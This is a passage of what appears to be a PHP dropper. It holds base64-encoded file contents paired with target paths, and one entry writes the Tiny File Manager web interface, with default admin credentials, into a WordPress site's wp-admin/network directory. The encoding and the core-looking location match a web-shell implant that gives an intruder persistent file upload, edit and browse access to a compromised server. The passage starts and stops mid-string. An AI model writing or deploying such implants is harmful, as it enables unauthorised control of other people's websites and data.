J5RGF0YSwgOCk7CgoJCSR0aGlzLT53cml0ZUJsb2NrKCRkYXRhTGFzdCwgMzU2KTsKCgkJcmV0dXJuIHRydWU7CgoJfQoKCWZ1bmN0aW9uIG9wZW5Xcml0ZSgpewoJCWlmICgkdGhpcy0+aXNHemlwcGVkKQoJCQkkdGhpcy0+dG1wX2ZpbGUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3diOWYnKTsKCgkJZWxzZQoJCQkkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLCAnd2InKTsKCgoJCWlmICghKCR0aGlzLT50bXBfZmlsZSkpewoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJHRoaXMtPmFyY2hpdmVfbmFtZTsKCgkJCXJldHVybiBmYWxzZTsKCgkJfQoJCXJldHVybiB0cnVlOwoKCX0KCglmdW5jdGlvbiByZWFkQmxvY2soKXsKCQlpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSl7CgkJCWlmICgkdGhpcy0+aXNHemlwcGVkKQoJCQkJICAgICAgJGJsb2NrID0gZ3pyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTsKCgkJCWVsc2UKCQkJCSAgICAgICRibG9jayA9IGZyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTsKCgkJfSBlbHNlCSRibG9jayA9ICcnOwoKCgkJcmV0dXJuICRibG9jazsKCgl9CgoJZnVuY3Rpb24gd3JpdGVCbG9jaygkZGF0YSwgJGxlbmd0aCA9IDApewoJCWlmIChpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKXsKCQkKCSAgICAgIAkJaWYgKCRsZW5ndGggPT09IDApewoJCQkJICAgICAgaWYgKCR0aGlzLT5pc0d6aXBwZWQpCgkJCQkgICAgICAJZ3pwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEpOwoKCQkJCSAgICAgIGVsc2UKCQkJCSAgICAgIAlmcHV0cygkdGhpcy0+dG1wX2ZpbGUsICRkYXRhKTsKCgkJCX0gZWxzZSB7CgkJCQkgICAgICBpZiAoJHRoaXMtPmlzR3ppcHBlZCkKCQkJCSAgICAgIAlnenB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSwgJGxlbmd0aCk7CgoJCQkJICAgICAgZWxzZQoJCQkJICAgICAgCWZwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEsICRsZW5ndGgpOwoKCQkJfQoJCX0KCX0KCglmdW5jdGlvbiBjbG9zZVRtcEZpbGUoKXsKCQlpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSl7CgkJCWlmICgkdGhpcy0+aXNHemlwcGVkKQoJCQkJICAgICAgZ3pjbG9zZSgkdGhpcy0+dG1wX2ZpbGUpOwoKCQkJZWxzZQoJCQkJICAgICAgZmNsb3NlKCR0aGlzLT50bXBfZmlsZSk7CgoKCQkJICAgICAgJHRoaXMtPnRtcF9maWxlID0gMDsKCgkJfQoJfQoKCWZ1bmN0aW9uIG1ha2VHb29kUGF0aCgkcGF0aCl7CgkJaWYgKHN0cmxlbigkcGF0aCk+MCl7CgkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7CgoJCQkkcGFydFBhdGggPSBleHBsb2RlKCcvJywgJHBhdGgpOwoKCQkJJGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTsKCgkJCWZvciAoJGkgPSAkZWxzOyAkaT49MDsgJGktLSl7CgkJCQkgICAgICBpZiAoJHBhcnRQYXRoWyRpXSA9PSAnLicpewoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gIElnbm9yZSB0aGlzIGRpcmVjdG9yeQogICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4uJyl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgJGktLTsKCiAgICAgICAgICAgICAgICAgICAgICB9CgkJCQkgICAgICBlbHNlaWYgKCgkcGFydFBhdGhbJGldID09ICcnKSBhbmQgKCRpIT0kZWxzKSBhbmQgKCRpIT0wKSl7CiAgICAgICAgICAgICAgICAgICAgICB9CWVsc2UKCQkJCSAgICAgIAkkcmVzdWx0ID0gJHBhcnRQYXRoWyRpXS4oJGkhPSRlbHMgPyAnLycuJHJlc3VsdCA6ICcnKTsKCgkJCX0KCQl9IGVsc2UgJHJlc3VsdCA9ICcnOwoKCQkKCSAgICAgIAlyZXR1cm4gJHJlc3VsdDsKCgl9Cn0KPz4=\', ], [ \'file_path\' => $_SERVER[\'DOCUMENT_ROOT\'] . \'/wp-admin/network/tinyfilemanager.php\', \'content\' => \'77u/77u/PD9waHAKLy9EZWZhdWx0IENvbmZpZ3VyYXRpb24KJENPTkZJRyA9ICd7ImxhbmciOiJlbiIsImVycm9yX3JlcG9ydGluZyI6ZmFsc2UsInNob3dfaGlkZGVuIjpmYWxzZSwiaGlkZV9Db2xzIjpmYWxzZSwidGhlbWUiOiJsaWdodCJ9JzsKCi8qKgogKiBIM0sgfiBUaW55IEZpbGUgTWFuYWdlciBWMi42CiAqIEBhdXRob3IgQ0NQIFByb2dyYW1tZXJzCiAqIEBnaXRodWIgaHR0cHM6Ly9naXRodWIuY29tL3ByYXNhdGhtYW5pL3RpbnlmaWxlbWFuYWdlcgogKiBAbGluayBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8KICovCgovL1RGTSB2ZXJzaW9uCmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTsKCi8vQXBwbGljYXRpb24gVGl0bGUKZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTsKCi8vIC0tLSBFRElUIEJFTE9XIENPTkZJR1VSQVRJT04gQ0FSRUZVTExZIC0tLQoKLy8gQXV0aCB3aXRoIGxvZ2luL3Bhc3N3b3JkCi8vIHNldCB0cnVlL2ZhbHNlIHRvIGVuYWJsZS9kaXNhYmxlIGl0Ci8vIElzIGluZGVwZW5kZW50IGZyb20gSVAgd2hpdGUtIGFuZCBibGFja2xpc3RpbmcKJHVzZV9hdXRoID0gdHJ1ZTsKCi8vIExvZ2luIHVzZXIgbmFtZSBhbmQgcGFzc3dvcmQKLy8gVXNlcnM6IGFycmF5KCdVc2VybmFtZScgPT4gJ1Bhc3N3b3JkJywgJ1VzZXJuYW1lMicgPT4gJ1Bhc3N3b3JkMicsIC4uLikKLy8gR2VuZXJhdGUgc2VjdXJlIHBhc3N3b3JkIGhhc2ggLSBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8vZG9jcy9wd2QuaHRtbAokYXV0aF91c2VycyA9IGFycmF5KAogICAgJ2FkbWluJyA9PiAnJDJ5JDEwJEJQL0dQVi9yR3RVTHlWUHJBUGtLZGVIV3hxMHU4alh6YmpLbWppOHdjRnUyeVJjMmg5R0ttJywgLy9hZG1pbkAxMjMKICAgICd1c2VyJyA9PiAnJDJ5JDEwJE9ERVRSY2Rodk8xMDhtcE8uNWh6ck83ZHoxNU5YcENLWktQV0VkSm1jOWR2UG5icXk5Lm5tJyAvLzEyMzQ1Cik7CgovLyBSZWFkb25seSB1c2VycwovLyBlLmcuIGFycmF5KCd1c2VycycsICdndWVzdCcsIC4uLikKJHJlYWRvbmx5X3VzZXJzID0gYXJyYXkoCiAgICAndXNlcicKKTsKCi8vIEdsb2JhbCByZWFkb25seSwgaW5jbHVkaW5nIHdoZW4gYXV0aCBpcyBub3QgYmVpbmcgdXNlZAokZ2xvYmFsX3JlYWRvbmx5ID0gZmFsc2U7CgovLyB1c2VyIHNwZWNpZmljIGRpcmVjdG9yaWVzCi8vIGFycmF5KCdVc2VybmFtZScgPT4gJ0RpcmVjdG9yeSBwYXRoJywgJ1VzZXJuYW1lMicgPT4gJ0RpcmVjdG9yeSBwYXRoJywgLi4uKQokZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpOwoKLy8gRW5hYmxlIGhpZ2hsaWdodC5qcyAoaHR0cHM6Ly9oaWdobGlnaHRqcy5vcmcvKSBvbiB2aWV3J3MgcGFnZQokdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTsKCi8vIGhpZ2hsaWdodC5qcyBzdHlsZQovLyBmb3IgZGFyayB0aGVtZSB1c2UgJ2lyLWJsYWNrJwokaGlnaGxpZ2h0anNfc3R5bGUgPSAndnMnOwoKLy8gRW5hYmxlIGFjZS5qcyAoaHR0cHM6Ly9hY2UuYzkuaW8vKSBvbiB2aWV3J3MgcGFnZQokZWRpdF9maWxlcyA9IHRydWU7CgovLyBEZWZhdWx0IHRpbWV6b25lIGZvciBkYXRlKCkgYW5kIHRpbWUoKQovLyBEb2MgLSBodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vdGltZXpvbmVzLnBocAokZGVmYXVsdF90aW1lem9uZSA9ICdFdGMvVVRDJzsgLy8gVVRDCgovLyBSb290IHBhdGggZm9yIGZpbGUgbWFuYWdlcgovLyB1c2UgYWJzb2x1dGUgcGF0aCBvZiBkaXJlY3RvcnkgaS5lOiAnL3Zhci93d3cvZm9sZGVyJyBvciAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvZm9sZGVyJwovL21ha2Ugc3VyZSB1cGRhdGUgJHJvb3RfdXJsIGluIG5leHQgc2VjdGlvbgokcm9vdF9wYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKCi8vIFJvb3QgdXJsIGZvciBsaW5rcyBpbiBmaWxlIG1hbmFnZXIuUmVsYXRpdmUgdG8gJGh0dHBfaG9zdC4gVmFyaWFudHM6ICcnLCAncGF0aC90by9zdWJmb2xkZXInCi8vIFdpbGwgbm90IHdvcmtpbmcgaWYgJHJvb3RfcGF0aCB3aWxsIGJlIG91dHNpZGUgb2Ygc2VydmVyIGRvY3VtZW50IHJvb3QKJHJvb3RfdXJsID0gJyc7CgovLyBTZXJ2ZXIgaG9zdG5hbWUuIENhbiBzZXQgbWFudWFsbHkgaWYgd3JvbmcKLy8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicvZm9sZGVyJwokaHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoKLy8gaW5wdXQgZW5jb2RpbmcgZm9yIGljb252CiRpY29udl9pbnB1dF9lbmNvZGluZyA9ICdVVEYtOCc7CgovLyBkYXRlKCkgZm9ybWF0IGZvciBmaWxlIG1vZGlmaWNhdGlvbiBkYXRlCi8vIERvYyAtIGh0dHBzOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLmRhdGUucGhwCiRkYXRldGltZV9mb3JtYXQgPSAnbS9kL1kgZzppIEEnOwoKLy8gUGF0aCBkaXNwbGF5IG1vZGUgd2hlbiB2aWV3aW5nIGZpbGUgaW5mb3JtYXRpb24KLy8gJ2Z1bGwnID0+IHNob3cgZnVsbCBwYXRoCi8vICdyZWxhdGl2ZScgPT4gc2hvdyBwYXRoIHJlbGF0aXZlIHRvIHJvb3RfcGF0aAovLyAnaG9zdCcgPT4gc2hvdyBwYXRoIG9uIHRoZSBob3N0CiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJzsKCi8vIEFsbG93ZWQgZmlsZSBleHRlbnNpb25zIGZvciBjcmVhdGUgYW5kIHJlbmFtZSBmaWxlcwovLyBlLmcuICd0eHQsaHRtbCxjc3MsanMnCiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnOwoKLy8gQWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMgZm9yIHVwbG9hZCBmaWxlcwovLyBlLmcuICdnaWYscG5nLGpwZyxodG1sLHR4dCcKJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJzsKCi8vIEZhdmljb24gcGF0aC4gVGhpcyBjYW4gYmUgZWl0aGVyIGEgZnVsbCB1cmwgdG8gYW4gLlBORyBpbWFnZSwgb3IgYSBwYXRoIGJhc2VkIG9uIHRoZSBkb2N1bWVudCByb290LgovLyBmdWxsIHBhdGgsIGUuZyBodHRwOi8vZXhhbXBsZS5jb20vZmF2aWNvbi5wbmcKLy8gbG9jYWwgcGF0aCwgZS5nIGltYWdlcy9pY29ucy9mYXZpY29uLnBuZwokZmF2aWNvbl9wYXRoID0gJyc7CgovLyBGaWxlcyBhbmQgZm9sZGVycyB0byBleGNsdWRlZCBmcm9tIGxpc3RpbmcKLy8gZS5nLiBhcnJheSgnbXlmaWxlLmh0bWwnLCAncGVyc29uYWwtZm9sZGVyJywgJyoucGhwJywgJy9wYXRoL3RvL2ZvbGRlcicsIC4uLikKJGV4Y2x1ZGVfaXRlbXMgPSBhcnJheSgpOwoKLy8gT25saW5lIG9mZmljZSBEb2NzIFZpZXdlcgovLyBBdmFpbGFibGUgcnVsZXMgYXJlICdnb29nbGUnLCAnbWljcm9zb2Z0JyBvciBmYWxzZQovLyBHb29nbGUgPT4gVmlldyBkb2N1bWVudHMgdXNpbmcgR29vZ2xlIERvY3MgVmlld2VyCi8vIE1pY3Jvc29mdCA9PiBWaWV3IGRvY3VtZW50cyB1c2luZyBNaWNyb3NvZnQgV2ViIEFwcHMgVmlld2VyCi8vIGZhbHNlID0+IGRpc2FibGUgb25saW5lIGRvYyB2aWV3ZXIKJG9ubGluZV92aWV3ZXIgPSAnZ29vZ2xlJzsKCi8vIFN0aWNreSBOYXYgYmFyCi8vIHRydWUgPT4gZW5hYmxlIHN0aWNreSBoZWFkZXIKLy8gZmFsc2UgPT4gZGlzYWJsZSBzdGlja3kgaGVhZGVyCiRzdGlja3lfbmF2YmFyID0gdHJ1ZTsKCi8vIE1heGltdW0gZmlsZSB1cGxvYWQgc2l6ZQovLyBJbmNyZWFzZSB0aGUgZm9sbG93aW5nIHZhbHVlcyBpbiBwaHAuaW5pIHRvIHdvcmsgcHJvcGVybHkKLy8gbWVtb3J5X2xpbWl0LCB1cGxvYWRfbWF4X2ZpbGVzaXplLCBwb3N0X21heF9zaXplCiRtYXhfdXBsb2FkX3NpemVfYnl0ZXMgPSA1MDAwMDAwMDAwOyAvLyBzaXplIDUsMDAwLDAwMCwwMDAgYnl0ZXMgKH41R0IpCgovLyBjaHVuayBzaXplIHVzZWQgZm9yIHVwbG9hZAovLyBlZy4gZGVjcmVhc2UgdG8gMU1CIGlmIG5naW54IHJlcG9ydHMgcHJvYmxlbSA0MTMgZW50aXR5IHRvbyBsYXJnZQokdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMgPSAyMDAwMDAwOyAvLyBjaHVuayBzaXplIDIsMDAwLDAwMCBieXRlcyAofjJNQikKCi8vIFBvc3NpYmxlIHJ1bGVzIGFyZSAnT0ZGJywgJ0FORCcgb3IgJ09SJwovLyBPRkYgPT4gRG9uJ3QgY2hlY2sgY29ubmVjdGlvbiBJUCwgZGVmYXVsdHMgdG8gT0ZGCi8vIEFORCA9PiBDb25uZWN0aW9uIG11c3QgYmUgb24gdGhlIHdoaXRlbGlzdCwgYW5kIG5vdCBvbiB0aGUgYmxhY2tsaXN0Ci8vIE9SID0+IENvbm5lY3Rpb24gbXVzdCBiZSBvbiB0aGUgd2hpdGVsaXN0LCBvciBub3Qgb24gdGhlIGJsYWNrbGlzdAokaXBfcnVsZXNldCA9ICdPRkYnOwoKLy8gU2hvdWxkIHVzZXJzIGJlIG5vdGlmaWVkIG9mIHRoZWlyIGJsb2NrPwokaXBfc2lsZW50ID0gdHJ1ZTsKCi8vIElQLWFkZHJlc3NlcywgYm90aCBpcHY0IGFuZCBpcHY2CiRpcF93aGl0ZWxpc3QgPSBhcnJheSgKICAgICcxMjcuMC4wLjEnLCAgICAvLyBsb2NhbCBpcHY0CiAgICAnOjoxJyAgICAgICAgICAgLy8gbG9jYWwgaXB2NgopOwoKLy8gSVAtYWRkcmVzc2VzLCBib3RoIGlwdjQgYW5kIGlwdjYKJGlwX2JsYWNrbGlzdCA9IGFycmF5KAogICAgJzAuMC4wLjAnLCAgICAgIC8vIG5vbi1yb3V0YWJsZSBtZXRhIGlwdjQKICAgICc6OicgICAgICAgICAgICAvLyBub24tcm91dGFibGUgbWV0YSBpcHY2Cik7CgovLyBpZiBVc2VyIGhhcyB0aGUgZXh0ZXJuYWwgY29uZmlnIGZpbGUsIHRyeSB0byB1c2UgaXQgdG8gb3ZlcnJpZGUgdGhlIGRlZmF1bHQgY29uZmlnIGFib3ZlIFtjb25maWcucGhwXQovLyBzYW1wbGUgY29uZmlnIC0gaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvL2NvbmZpZy1zYW1wbGUudHh0CiRjb25maWdfZmlsZSA9IF9fRElSX18gLiAnL2NvbmZpZy5waHAnOwppZiAoaXNfcmVhZGFibGUoJGNvbmZpZ19maWxlKSkgewogICAgQGluY2x1ZGUoJGNvbmZpZ19maWxlKTsKfQoKLy8gRXh0ZXJuYWwgQ0ROIHJlc291cmNlcyB0aGF0IGNhbiBiZSB1c2VkIGluIHRoZSBIVE1MIChyZXBsYWNlIGZvciBHRFBSIGNvbXBsaWFuY2UpCiRleHRlcm5hbCA9IGFycmF5KAogICAgJ2Nzcy1ib290c3RyYXAnID0+ICc8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMy9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpbnRlZ3JpdHk9InNoYTM4NC1RV1RLWnlqcFBFaklTdjVXYVJVOU9GZVJwb2s2WWN0blltRHI1cE5seVQyYlJqWGgwSk1oalk2aFcrQUxFd0lIIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4nLAogICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2Ryb3B6b25lLzUuOS4zL21pbi9kcm9wem9uZS5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiPicsCiAgICAnY3NzLWZvbnQtYXdlc29tZScgPT4gJzxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+JywKICAgICdjc3MtaGlnaGxpZ2h0anMnID0+ICc8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2hpZ2hsaWdodC5qcy8xMS45LjAvc3R5bGVzLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3MiPicsCiAgICAnanMtYWNlJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FjZS8xLjMyLjIvYWNlLmpzIj48L3NjcmlwdD4nLAogICAgJ2pzLWJvb3RzdHJhcCcgPT4gJzxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMy9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1ZdnBjcllmMHRZM2xIQjYwTk5rbVhjNXM5ZkRWWkxFU2FBQTU1TkR6T3hoeTlHa2NJZHNsSzFlTjdONmpJZUh6IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4nLAogICAgJ2pzLWRyb3B6b25lJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2Ryb3B6b25lLzUuOS4zL21pbi9kcm9wem9uZS5taW4uanMiPjwvc2NyaXB0PicsCiAgICAnanMtanF1ZXJ5JyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjYuMS5taW4uanMiIGludGVncml0eT0ic2hhMjU2LW84OEF3UW5aQitWRHZFOXR2SVhyTVFhUGxGRlNVVFIrbmxkUW0xTHVQWFE9IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4nLAogICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmRhdGF0YWJsZXMubmV0LzEuMTMuMS9qcy9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanMiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIGRlZmVyPjwvc2NyaXB0PicsCiAgICAnanMtaGlnaGxpZ2h0anMnID0+ICc8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvaGlnaGxpZ2h0LmpzLzExLjkuMC9oaWdobGlnaHQubWluLmpzIj48L3NjcmlwdD4nLAogICAgJ3ByZS1qc2RlbGl2cicgPT4gJzxsaW5rIHJlbD0icHJlY29ubmVjdCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0IiBjcm9zc29yaWdpbi8+PGxpbmsgcmVsPSJkbnMtcHJlZmV0Y2giIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldCIvPicsCiAgICAncHJlLWNsb3VkZmxhcmUnID0+ICc8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20iIGNyb3Nzb3JpZ2luLz48bGluayByZWw9ImRucy1wcmVmZXRjaCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbSIvPicKKTsKCi8vIC0tLSBFRElUIEJFTE9XIENBUkVGVUxMWSBPUiBETyBOT1QgRURJVCBBVCBBTEwgLS0tCgovLyBtYXggdXBsb2FkIGZpbGUgc2l6ZQpkZWZpbmUoJ01BWF9VUExPQURfU0laRScsICRtYXhfdXBsb2FkX3NpemVfYnl0ZXMpOwoKLy8gdXBsb2FkIGNodW5rIHNpemUKZGVmaW5lKCdVUExPQURfQ0hVTktfU0laRScsICR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyk7CgovLyBwcml2YXRlIGtleSBhbmQgc2Vzc2lvbiBuYW1lIHRvIHN0b3JlIHRvIHRoZSBzZXNzaW9uCmlmICghZGVmaW5lZCgnRk1fU0VTU0lPTl9JRCcpKSB7CiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTsKfQoKLy8gQ29uZmlndXJhdGlvbgokY2ZnID0gbmV3IEZNX0NvbmZpZygpOwoKLy8gRGVmYXVsdCBsYW5ndWFnZQokbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nOwoKLy8gU2hvdyBvciBoaWRlIGZpbGVzIGFuZCBmb2xkZXJzIHRoYXQgc3RhcnRzIHdpdGggYSBkb3QKJHNob3dfaGlkZGVuX2ZpbGVzID0gaXNzZXQoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSkgPyAkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddIDogdHJ1ZTsKCi8vIFBIUCBlcnJvciByZXBvcnRpbmcgLSBmYWxzZSA9IFR1cm5zIG9mZiBFcnJvcnMsIHRydWUgPSBUdXJucyBvbiBFcnJvcnMKJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7CgovLyBIaWRlIFBlcm1pc3Npb25zIGFuZCBPd25lciBjb2xzIGluIGZpbGUtbGlzdGluZwokaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlOwoKLy8gVGhlbWUKJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JzsKCmRlZmluZSgnRk1fVEhFTUUnLCAkdGhlbWUpOwoKLy9hdmFpbGFibGUgbGFuZ3VhZ2VzCiRsYW5nX2xpc3QgPSBhcnJheSgKICAgICdlbicgPT4gJ0VuZ2xpc2gnCik7CgppZiAoJHJlcG9ydF9lcnJvcnMgPT0gdHJ1ZSkgewogICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIEVfQUxMKTsKICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDEpOwp9IGVsc2UgewogICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIEVfQUxMKTsKICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwp9CgovLyBpZiBmbSBpbmNsdWRlZAppZiAoZGVmaW5lZCgnRk1fRU1CRUQnKSkgewogICAgJHVzZV9hdXRoID0gZmFsc2U7CiAgICAkc3RpY2t5X25hdmJhciA9IGZhbHNlOwp9IGVsc2UgewogICAgQHNldF90aW1lX2xpbWl0KDYwMCk7CgogICAgZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgkZGVmYXVsdF90aW1lem9uZSk7CgogICAgaW5pX3NldCgnZGVmYXVsdF9jaGFyc2V0JywgJ1VURi04Jyk7CiAgICBpZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNS42LjAnLCAnPCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnbWJfaW50ZXJuYWxfZW5jb2RpbmcnKSkgewogICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpOwogICAgfQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfcmVnZXhfZW5jb2RpbmcnKSkgewogICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpOwogICAgfQoKICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpOyAvLyBQcmV2ZW50IGxvZ291dCBpc3N1ZSBhZnRlciBwYWdlIHdhcyBjYWNoZWQKICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTsKICAgIGZ1bmN0aW9uIHNlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24oJGNvZGUsICRtc2csICRmaWxlLCAkbGluZSkKICAgIHsKICAgICAgICAvLyBQZXJtaXNzaW9uIGRlbmllZCBmb3IgZGVmYXVsdCBzZXNzaW9uLCB0cnkgdG8gY3JlYXRlIGEgbmV3IG9uZQogICAgICAgIGlmICgkY29kZSA9PSAyKSB7CiAgICAgICAgICAgIHNlc3Npb25fYWJvcnQoKTsKICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTsKICAgICAgICAgICAgQHNlc3Npb25fc3RhcnQoKTsKICAgICAgICB9CiAgICB9CiAgICBzZXRfZXJyb3JfaGFuZGxlcignc2Vzc2lvbl9lcnJvcl9oYW5kbGluZ19mdW5jdGlvbicpOwogICAgc2Vzc2lvbl9zdGFydCgpOwogICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7Cn0KCi8vR2VuZXJhdGluZyBDU1JGIFRva2VuCmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdyYW5kb21fYnl0ZXMnKSkgewogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9IGJpbjJoZXgocmFuZG9tX2J5dGVzKDMyKSk7CiAgICB9IGVsc2UgewogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9IGJpbjJoZXgob3BlbnNzbF9yYW5kb21fcHNldWRvX2J5dGVzKDMyKSk7CiAgICB9Cn0KCmlmIChlbXB0eSgkYXV0aF91c2VycykpIHsKICAgICR1c2VfYXV0aCA9IGZhbHNlOwp9CgokaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKCRfU0VSVkVSWydIVFRQUyddID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSkKICAgIHx8IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT0gJ2h0dHBzJzsKCi8vIHVwZGF0ZSAkcm9vdF91cmwgYmFzZWQgb24gdXNlciBzcGVjaWZpYyBkaXJlY3RvcmllcwppZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgIWVtcHR5KCRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXSkpIHsKICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOwogICAgJHJvb3RfdXJsID0gICRyb290X3VybCAuI